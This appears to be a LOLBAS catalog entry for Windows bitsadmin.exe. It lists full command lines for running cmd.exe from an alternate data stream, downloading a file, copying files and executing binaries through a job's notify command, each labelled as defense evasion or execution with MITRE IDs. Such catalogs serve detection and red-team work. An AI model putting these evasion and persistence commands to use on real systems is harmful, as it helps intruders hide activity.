CatalogLOLBAS

LOL · Binary

Bitsadmin.exe

4 techniquesWindowsLOLBASGPL-3.0

ADS

Defense EvasionFile WriteWindows

Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command from an Alternate data stream, then resume and complete the job.

Use Performs execution of specified file in the alternate data stream, can be used as a defensive evasion or persistence technique.

bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS

Download

File DownloadWindows

Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.

Use Download file from Internet

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105

Copy

File CopyWindows

Command for copying cmd.exe to another folder

Use Copy file

bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Copy
MITRE
T1105

Execute

ExecutionWindows

One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.

Use Execute binary file specified. Can be used as a defensive evasion.

bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218